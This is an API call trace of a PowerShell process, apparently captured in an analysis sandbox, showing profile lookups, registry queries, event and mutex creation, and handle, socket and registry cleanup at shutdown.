[0042.180] GetLastError () returned 0x2
[0042.180] SetErrorMode (uMode=0x1) returned 0x1
[0042.180] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Documents\\WindowsPowerShell\\profile.ps1", nBufferLength=0x105, lpBuffer=0x16e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Documents\\WindowsPowerShell\\profile.ps1", lpFilePart=0x0) returned 0x3b
[0042.180] GetLastError () returned 0x2
[0042.180] SetErrorMode (uMode=0x1) returned 0x1
[0042.180] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Documents\\WindowsPowerShell\\profile.ps1" (normalized: "c:\\users\\atveydl98z\\documents\\windowspowershell\\profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x16e9dc | out: lpFileInformation=0x16e9dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0042.180] GetLastError () returned 0x3
[0042.180] SetErrorMode (uMode=0x1) returned 0x1
[0042.180] GetFullPathNameW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", nBufferLength=0x105, lpBuffer=0x16e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\ATVeyDl98Z\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1", lpFilePart=0x0) returned 0x50
[0042.180] GetLastError () returned 0x3
[0042.180] SetErrorMode (uMode=0x1) returned 0x1
[0042.180] GetFileAttributesExW (in: lpFileName="C:\\Users\\ATVeyDl98Z\\Documents\\WindowsPowerShell\\Microsoft.PowerShell_profile.ps1" (normalized: "c:\\users\\atveydl98z\\documents\\windowspowershell\\microsoft.powershell_profile.ps1"), fInfoLevelId=0x0, lpFileInformation=0x16e9dc | out: lpFileInformation=0x16e9dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
[0042.180] GetLastError () returned 0x3
[0042.180] SetErrorMode (uMode=0x1) returned 0x1
[0042.181] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.181] GetLastError () returned 0xcb
[0042.182] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.182] GetLastError () returned 0xcb
[0042.184] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.184] GetLastError () returned 0xcb
[0042.185] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.185] GetLastError () returned 0xcb
[0042.186] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.186] GetLastError () returned 0xcb
[0042.192] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.192] GetLastError () returned 0xcb
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x37c
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x380
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x384
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x388
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x38c
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x3a8
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x374
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x394
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x398
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x300
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x304
[0042.193] GetLastError () returned 0x0
[0042.193] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x324
[0042.194] GetLastError () returned 0x0
[0042.195] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.195] GetLastError () returned 0xcb
[0042.244] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3
[0042.244] GetLastError () returned 0xcb
[0042.245] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x16ea1c | out: lpMode=0x16ea1c) returned 1
[0042.245] GetLastError () returned 0xcb
[0042.247] SetEvent (hEvent=0x388) returned 1
[0042.247] GetLastError () returned 0xcb
[0042.247] SetEvent (hEvent=0x37c) returned 1
[0042.247] GetLastError () returned 0xcb
[0042.247] SetEvent (hEvent=0x380) returned 1
[0042.247] GetLastError () returned 0xcb
[0042.247] SetEvent (hEvent=0x384) returned 1
[0042.247] GetLastError () returned 0xcb
[0042.247] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x334
[0042.247] GetLastError () returned 0x0
[0042.248] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0042.248] GetLastError () returned 0xcb
[0042.248] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e880 | out: phkResult=0x16e880*=0x338) returned 0x0
[0042.248] RegQueryValueExW (in: hKey=0x338, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x16e8c8, lpData=0x0, lpcbData=0x16e8c4*=0x0 | out: lpType=0x16e8c8*=0x0, lpData=0x0, lpcbData=0x16e8c4*=0x0) returned 0x2
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5dc
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5b4
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5b0
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x578
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x574
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x568
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x57c
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x598
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x584
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x5d0
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5e8
[0054.789] GetLastError () returned 0x0
[0054.789] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5ec
[0054.789] GetLastError () returned 0x0
[0054.789] SetEvent (hEvent=0x578) returned 1
[0054.790] GetLastError () returned 0x0
[0054.790] SetEvent (hEvent=0x5dc) returned 1
[0054.790] GetLastError () returned 0x0
[0054.790] SetEvent (hEvent=0x5b4) returned 1
[0054.790] GetLastError () returned 0x0
[0054.790] SetEvent (hEvent=0x5b0) returned 1
[0054.790] GetLastError () returned 0x0
[0054.790] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5f0
[0054.790] GetLastError () returned 0x0
[0054.790] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds", ulOptions=0x0, samDesired=0x20019, phkResult=0x16e8b4 | out: phkResult=0x16e8b4*=0x5f8) returned 0x0
[0054.790] RegQueryValueExW (in: hKey=0x5f8, lpValueName="PipelineMaxStackSizeMB", lpReserved=0x0, lpType=0x16e8fc, lpData=0x0, lpcbData=0x16e8f8*=0x0 | out: lpType=0x16e8fc*=0x0, lpData=0x0, lpcbData=0x16e8f8*=0x0) returned 0x2
[0054.909] SetEvent (hEvent=0x574) returned 1
[0054.910] GetLastError () returned 0x0
[0054.910] SetEvent (hEvent=0x568) returned 1
[0054.910] GetLastError () returned 0x0
[0054.910] SetEvent (hEvent=0x57c) returned 1
[0054.910] GetLastError () returned 0x0
[0054.969] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x365310, nSize=0x80 | out: lpBuffer="") returned 0x0
[0054.969] GetLastError () returned 0xcb
[0054.974] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x2e35e8, nSize=0x16e990 | out: lpNameBuffer="ZJEWV7F\\ATVeyDl98Z", nSize=0x16e990) returned 0x1
[0054.974] GetLastError () returned 0xcb
[0054.974] GetUserNameW (in: lpBuffer=0x365310, pcbBuffer=0x16e998 | out: lpBuffer="ATVeyDl98Z", pcbBuffer=0x16e998) returned 1
[0054.975] ReportEventW (hEventLog=0x4340004, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x21282a4*="Stopped", lpRawData=0x2128160) returned 1
[0055.018] GetLastError () returned 0x0
[0055.019] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1
[0055.019] GetLastError () returned 0x0
[0055.020] CoGetContextToken (in: pToken=0x16f6c8 | out: pToken=0x16f6c8) returned 0x0
[0055.020] IUnknown:QueryInterface (in: This=0x2c7d88, riid=0x5f403ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x16f6fc | out: ppvObject=0x16f6fc*=0x2c7d94) returned 0x0
[0055.020] IComThreadingInfo:GetCurrentThreadType (in: This=0x2c7d94, pThreadType=0x16f76c | out: pThreadType=0x16f76c*=0) returned 0x0
[0055.020] IUnknown:Release (This=0x2c7d94) returned 0x1
[0055.022] CoGetContextToken (in: pToken=0x16f4a0 | out: pToken=0x16f4a0) returned 0x0
[0055.022] IUnknown:QueryInterface (in: This=0x2c7d88, riid=0x5f403ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x16f4d4 | out: ppvObject=0x16f4d4*=0x2c7d94) returned 0x0
[0055.022] IComThreadingInfo:GetCurrentThreadType (in: This=0x2c7d94, pThreadType=0x16f508 | out: pThreadType=0x16f508*=0) returned 0x0
[0055.022] IUnknown:Release (This=0x2c7d94) returned 0x1
[0055.029] CoGetContextToken (in: pToken=0x16f4a0 | out: pToken=0x16f4a0) returned 0x0
[0055.029] IUnknown:QueryInterface (in: This=0x2c7d88, riid=0x5f403ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x16f4d4 | out: ppvObject=0x16f4d4*=0x2c7d94) returned 0x0
[0055.029] IComThreadingInfo:GetCurrentThreadType (in: This=0x2c7d94, pThreadType=0x16f508 | out: pThreadType=0x16f508*=0) returned 0x0
[0055.029] IUnknown:Release (This=0x2c7d94) returned 0x1
[0055.037] CoGetContextToken (in: pToken=0x16f4a0 | out: pToken=0x16f4a0) returned 0x0
[0055.037] IUnknown:QueryInterface (in: This=0x2c7d88, riid=0x5f403ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x16f4d4 | out: ppvObject=0x16f4d4*=0x2c7d94) returned 0x0
[0055.037] IComThreadingInfo:GetCurrentThreadType (in: This=0x2c7d94, pThreadType=0x16f508 | out: pThreadType=0x16f508*=0) returned 0x0
[0055.037] IUnknown:Release (This=0x2c7d94) returned 0x1
[0055.077] CoGetContextToken (in: pToken=0x16f480 | out: pToken=0x16f480) returned 0x0
[0055.077] IUnknown:QueryInterface (in: This=0x2c7d88, riid=0x5f403ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x16f4b4 | out: ppvObject=0x16f4b4*=0x2c7d94) returned 0x0
[0055.078] IComThreadingInfo:GetCurrentThreadType (in: This=0x2c7d94, pThreadType=0x16f4e8 | out: pThreadType=0x16f4e8*=0) returned 0x0
[0055.078] IUnknown:Release (This=0x2c7d94) returned 0x0
[0055.079] CoUninitialize ()
Thread:
id = 25
os_tid = 0xaec
Thread:
id = 26
os_tid = 0xaf0
Thread:
id = 27
os_tid = 0xaf4
Thread:
id = 28
os_tid = 0xaf8
Thread:
id = 29
os_tid = 0xafc
[0033.568] CoGetContextToken (in: pToken=0x3f2f9c8 | out: pToken=0x3f2f9c8) returned 0x0
[0033.568] CObjectContext::QueryInterface () returned 0x0
[0033.568] CObjectContext::GetCurrentThreadType () returned 0x0
[0033.568] Release () returned 0x0
[0033.568] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0039.466] LocalFree (hMem=0x339358) returned 0x0
[0039.466] GetLastError () returned 0x0
[0039.466] CloseHandle (hObject=0x324) returned 1
[0039.466] GetLastError () returned 0x0
[0039.467] CloseHandle (hObject=0x13) returned 1
[0039.467] GetLastError () returned 0x0
[0039.467] CloseHandle (hObject=0xf) returned 1
[0039.467] GetLastError () returned 0x0
[0039.467] RegCloseKey (hKey=0x308) returned 0x0
[0039.468] RegCloseKey (hKey=0x304) returned 0x0
[0039.468] RegCloseKey (hKey=0x300) returned 0x0
[0039.468] LocalFree (hMem=0x339378) returned 0x0
[0039.468] GetLastError () returned 0x0
[0039.468] RegCloseKey (hKey=0x330) returned 0x0
[0040.650] RegCloseKey (hKey=0x370) returned 0x0
[0040.650] RegCloseKey (hKey=0x36c) returned 0x0
[0040.651] RegCloseKey (hKey=0x368) returned 0x0
[0040.651] RegCloseKey (hKey=0x364) returned 0x0
[0040.651] RegCloseKey (hKey=0x360) returned 0x0
[0040.651] RegCloseKey (hKey=0x35c) returned 0x0
[0040.652] RegCloseKey (hKey=0x358) returned 0x0
[0040.652] RegCloseKey (hKey=0x3a0) returned 0x0
[0040.652] RegCloseKey (hKey=0x39c) returned 0x0
[0040.652] RegCloseKey (hKey=0x348) returned 0x0
[0040.652] RegCloseKey (hKey=0x344) returned 0x0
[0040.653] RegCloseKey (hKey=0x340) returned 0x0
[0040.653] RegCloseKey (hKey=0x33c) returned 0x0
[0040.653] RegCloseKey (hKey=0x338) returned 0x0
[0040.653] RegCloseKey (hKey=0x334) returned 0x0
[0040.653] RegCloseKey (hKey=0x324) returned 0x0
[0040.653] RegCloseKey (hKey=0x304) returned 0x0
[0040.653] RegCloseKey (hKey=0x300) returned 0x0
[0040.654] RegCloseKey (hKey=0x398) returned 0x0
[0040.654] RegCloseKey (hKey=0x394) returned 0x0
[0040.654] RegCloseKey (hKey=0x374) returned 0x0
[0040.654] RegCloseKey (hKey=0x3a8) returned 0x0
[0040.654] RegCloseKey (hKey=0x38c) returned 0x0
[0040.655] RegCloseKey (hKey=0x388) returned 0x0
[0040.655] RegCloseKey (hKey=0x384) returned 0x0
[0040.655] RegCloseKey (hKey=0x380) returned 0x0
[0040.655] RegCloseKey (hKey=0x37c) returned 0x0
[0040.655] RegCloseKey (hKey=0x378) returned 0x0
[0040.655] RegCloseKey (hKey=0x354) returned 0x0
[0040.655] RegCloseKey (hKey=0x3a4) returned 0x0
[0040.656] RegCloseKey (hKey=0x330) returned 0x0
[0042.453] RegCloseKey (hKey=0x338) returned 0x0
[0055.024] GetLastError () returned 0x0
[0055.024] GetLastError () returned 0x0
[0055.024] LocalFree (hMem=0x317c18) returned 0x0
[0055.024] GetLastError () returned 0x0
[0055.024] GetLastError () returned 0x0
[0055.024] GetLastError () returned 0x0
[0055.024] LocalFree (hMem=0x317b90) returned 0x0
[0055.024] GetLastError () returned 0x0
[0055.024] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x21284d0, cbSid=0x3f2f6b8 | out: pSid=0x21284d0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3f2f6b8) returned 1
[0055.024] GetLastError () returned 0x0
[0055.025] CreateMutexW (lpMutexAttributes=0x21285e0, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x358
[0055.025] GetLastError () returned 0x0
[0055.025] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x1f4) returned 0x0
[0055.025] GetLastError () returned 0x0
[0055.025] ReleaseMutex (hMutex=0x358) returned 1
[0055.025] GetLastError () returned 0x0
[0055.025] CloseHandle (hObject=0x358) returned 1
[0055.025] GetLastError () returned 0x0
[0055.025] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x21287ec, cbSid=0x3f2f6b8 | out: pSid=0x21287ec*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3f2f6b8) returned 1
[0055.026] GetLastError () returned 0x0
[0055.026] CreateMutexW (lpMutexAttributes=0x21288fc, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x358
[0055.026] GetLastError () returned 0x0
[0055.026] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x1f4) returned 0x0
[0055.026] GetLastError () returned 0x0
[0055.026] ReleaseMutex (hMutex=0x358) returned 1
[0055.026] GetLastError () returned 0x0
[0055.026] CloseHandle (hObject=0x358) returned 1
[0055.026] GetLastError () returned 0x0
[0055.026] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2128b08, cbSid=0x3f2f6b8 | out: pSid=0x2128b08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3f2f6b8) returned 1
[0055.026] GetLastError () returned 0x0
[0055.027] CreateMutexW (lpMutexAttributes=0x2128c18, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x358
[0055.027] GetLastError () returned 0x0
[0055.027] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x1f4) returned 0x0
[0055.027] GetLastError () returned 0x0
[0055.027] ReleaseMutex (hMutex=0x358) returned 1
[0055.027] GetLastError () returned 0x0
[0055.027] CloseHandle (hObject=0x358) returned 1
[0055.027] GetLastError () returned 0x0
[0055.027] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2128e24, cbSid=0x3f2f6b8 | out: pSid=0x2128e24*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3f2f6b8) returned 1
[0055.027] GetLastError () returned 0x0
[0055.028] CreateMutexW (lpMutexAttributes=0x2128f34, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x358
[0055.028] GetLastError () returned 0x0
[0055.028] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x1f4) returned 0x0
[0055.028] GetLastError () returned 0x0
[0055.028] ReleaseMutex (hMutex=0x358) returned 1
[0055.028] GetLastError () returned 0x0
[0055.028] CloseHandle (hObject=0x358) returned 1
[0055.028] GetLastError () returned 0x0
[0055.028] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x2129140, cbSid=0x3f2f6b8 | out: pSid=0x2129140*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x3f2f6b8) returned 1
[0055.028] GetLastError () returned 0x0
[0055.028] CreateMutexW (lpMutexAttributes=0x2129250, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x358
[0055.028] GetLastError () returned 0x0
[0055.028] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x1f4) returned 0x0
[0055.028] GetLastError () returned 0x0
[0055.029] ReleaseMutex (hMutex=0x358) returned 1
[0055.029] GetLastError () returned 0x0
[0055.029] CloseHandle (hObject=0x358) returned 1
[0055.029] GetLastError () returned 0x0
[0055.037] DeregisterEventSource (hEventLog=0x4340004) returned 1
[0055.038] GetLastError () returned 0x0
[0055.043] setsockopt (s=0x540, level=65535, optname=128, optval="\x01", optlen=4) returned 0
[0055.043] GetLastError () returned 0x0
[0055.043] closesocket (s=0x540) returned 0
[0055.043] GetLastError () returned 0x0
[0055.047] CloseHandle (hObject=0x434) returned 1
[0055.047] GetLastError () returned 0x0
[0055.047] CloseHandle (hObject=0x430) returned 1
[0055.047] GetLastError () returned 0x0
[0055.048] CloseHandle (hObject=0x42c) returned 1
[0055.048] GetLastError () returned 0x0
[0055.048] CloseHandle (hObject=0x428) returned 1
[0055.048] GetLastError () returned 0x0
[0055.048] CloseHandle (hObject=0x424) returned 1
[0055.048] GetLastError () returned 0x0
[0055.049] RegCloseKey (hKey=0x5f8) returned 0x0
[0055.049] CloseHandle (hObject=0x414) returned 1
[0055.049] GetLastError () returned 0x0
[0055.050] CloseHandle (hObject=0x410) returned 1
[0055.050] GetLastError () returned 0x0
[0055.051] CloseHandle (hObject=0x40c) returned 1
[0055.051] GetLastError () returned 0x0
[0055.051] CloseHandle (hObject=0x408) returned 1
[0055.051] GetLastError () returned 0x0
[0055.051] CloseHandle (hObject=0x404) returned 1
[0055.051] GetLastError () returned 0x0
[0055.052] CloseHandle (hObject=0x3f4) returned 1
[0055.052] GetLastError () returned 0x0
[0055.052] CloseHandle (hObject=0x3f8) returned 1
[0055.052] GetLastError () returned 0x0
[0055.052] CloseHandle (hObject=0x5f0) returned 1
[0055.052] GetLastError () returned 0x0
[0055.053] CloseHandle (hObject=0x3f0) returned 1
[0055.053] GetLastError () returned 0x0
[0055.053] CloseHandle (hObject=0x5ec) returned 1
[0055.053] GetLastError () returned 0x0
[0055.053] CloseHandle (hObject=0x5e8) returned 1
[0055.053] GetLastError () returned 0x0
[0055.053] CloseHandle (hObject=0x5d0) returned 1
[0055.053] GetLastError () returned 0x0
[0055.054] setsockopt (s=0x554, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0055.054] GetLastError () returned 0x273a
[0055.054] closesocket (s=0x554) returned 0
[0055.054] GetLastError () returned 0x0
[0055.054] CloseHandle (hObject=0x558) returned 1
[0055.054] GetLastError () returned 0x0
[0055.055] setsockopt (s=0x544, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0055.055] GetLastError () returned 0x273a
[0055.055] closesocket (s=0x544) returned 0
[0055.055] GetLastError () returned 0x0
[0055.055] CloseHandle (hObject=0x550) returned 1
[0055.055] GetLastError () returned 0x0
[0055.055] CloseHandle (hObject=0x584) returned 1
[0055.055] GetLastError () returned 0x0
[0055.055] CloseHandle (hObject=0x598) returned 1
[0055.055] GetLastError () returned 0x0
[0055.056] CloseHandle (hObject=0x57c) returned 1
[0055.056] GetLastError () returned 0x0
[0055.056] CloseHandle (hObject=0x568) returned 1
[0055.056] GetLastError () returned 0x0
[0055.056] CloseHandle (hObject=0x574) returned 1
[0055.056] GetLastError () returned 0x0
[0055.056] CloseHandle (hObject=0x508) returned 1
[0055.056] GetLastError () returned 0x0
[0055.057] CloseHandle (hObject=0x534) returned 1
[0055.057] GetLastError () returned 0x0
[0055.057] CloseHandle (hObject=0x578) returned 1
[0055.057] GetLastError () returned 0x0
[0055.057] CloseHandle (hObject=0x4d0) returned 1
[0055.057] GetLastError () returned 0x0
[0055.058] CloseHandle (hObject=0x4cc) returned 1
[0055.058] GetLastError () returned 0x0
[0055.058] CloseHandle (hObject=0x4c8) returned 1
[0055.058] GetLastError () returned 0x0
[0055.058] CloseHandle (hObject=0x4c4) returned 1
[0055.058] GetLastError () returned 0x0
[0055.059] RegCloseKey (hKey=0x4c0) returned 0x0
[0055.059] GetLastError () returned 0x0
[0055.059] CloseHandle (hObject=0x4bc) returned 1
[0055.059] GetLastError () returned 0x0
[0055.059] RegCloseKey (hKey=0x4b8) returned 0x0
[0055.059] GetLastError () returned 0x0
[0055.059] CloseHandle (hObject=0x4b4) returned 1
[0055.059] GetLastError () returned 0x0
[0055.060] RegCloseKey (hKey=0x4b0) returned 0x0
[0055.060] GetLastError () returned 0x0
[0055.060] RegCloseKey (hKey=0x4ac) returned 0x0
[0055.060] GetLastError () returned 0x0
[0055.060] CloseHandle (hObject=0x494) returned 1
[0055.060] GetLastError () returned 0x0
[0055.060] setsockopt (s=0x48c, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0055.060] GetLastError () returned 0x273a
[0055.060] closesocket (s=0x48c) returned 0
[0055.061] GetLastError () returned 0x0
[0055.061] CloseHandle (hObject=0x490) returned 1
[0055.061] GetLastError () returned 0x0
[0055.061] setsockopt (s=0x480, level=65535, optname=128, optval="\x01", optlen=4) returned -1
[0055.061] GetLastError () returned 0x273a
[0055.061] closesocket (s=0x480) returned 0
[0055.061] GetLastError () returned 0x0
[0055.062] CloseHandle (hObject=0x488) returned 1
[0055.062] GetLastError () returned 0x0
[0055.062] CloseHandle (hObject=0x5b0) returned 1
[0055.062] GetLastError () returned 0x0
[0055.062] CloseHandle (hObject=0x5b4) returned 1
[0055.062] GetLastError () returned 0x0
[0055.062] CloseHandle (hObject=0x5dc) returned 1
[0055.062] GetLastError () returned 0x0
[0055.063] CloseHandle (hObject=0x324) returned 1
[0055.063] GetLastError () returned 0x0
[0055.063] CloseHandle (hObject=0x304) returned 1
[0055.063] GetLastError () returned 0x0
[0055.063] CloseHandle (hObject=0x300) returned 1
[0055.063] GetLastError () returned 0x0
[0055.063] CloseHandle (hObject=0x398) returned 1
[0055.063] GetLastError () returned 0x0
[0055.063] CloseHandle (hObject=0x394) returned 1
[0055.063] GetLastError () returned 0x0
[0055.064] CloseHandle (hObject=0x374) returned 1
[0055.064] GetLastError () returned 0x0
[0055.064] CloseHandle (hObject=0x3a8) returned 1
[0055.064] GetLastError () returned 0x0
[0055.064] CloseHandle (hObject=0x38c) returned 1
[0055.064] GetLastError () returned 0x0
[0055.064] CloseHandle (hObject=0x388) returned 1
[0055.064] GetLastError () returned 0x0
[0055.064] CloseHandle (hObject=0x384) returned 1
[0055.065] GetLastError () returned 0x0
[0055.065] CloseHandle (hObject=0x380) returned 1
[0055.065] GetLastError () returned 0x0
[0055.065] CloseHandle (hObject=0x37c) returned 1
[0055.065] GetLastError () returned 0x0
[0055.065] CloseHandle (hObject=0x5e0) returned 1
[0055.065] GetLastError () returned 0x0
[0055.066] UnmapViewOfFile (lpBaseAddress=0x5110000) returned 1
[0055.071] GetLastError () returned 0x0
[0055.071] CloseHandle (hObject=0x484) returned 1
[0055.071] GetLastError () returned 0x0
[0055.071] CloseHandle (hObject=0x334) returned 1
[0055.072] GetLastError () returned 0x0
[0055.072] CloseHandle (hObject=0x47c) returned 1
[0055.072] GetLastError () returned 0x0
[0055.072] CloseHandle (hObject=0x32c) returned 1
[0055.072] GetLastError () returned 0x0
[0055.072] CloseHandle (hObject=0x478) returned 1
[0055.072] GetLastError () returned 0x0
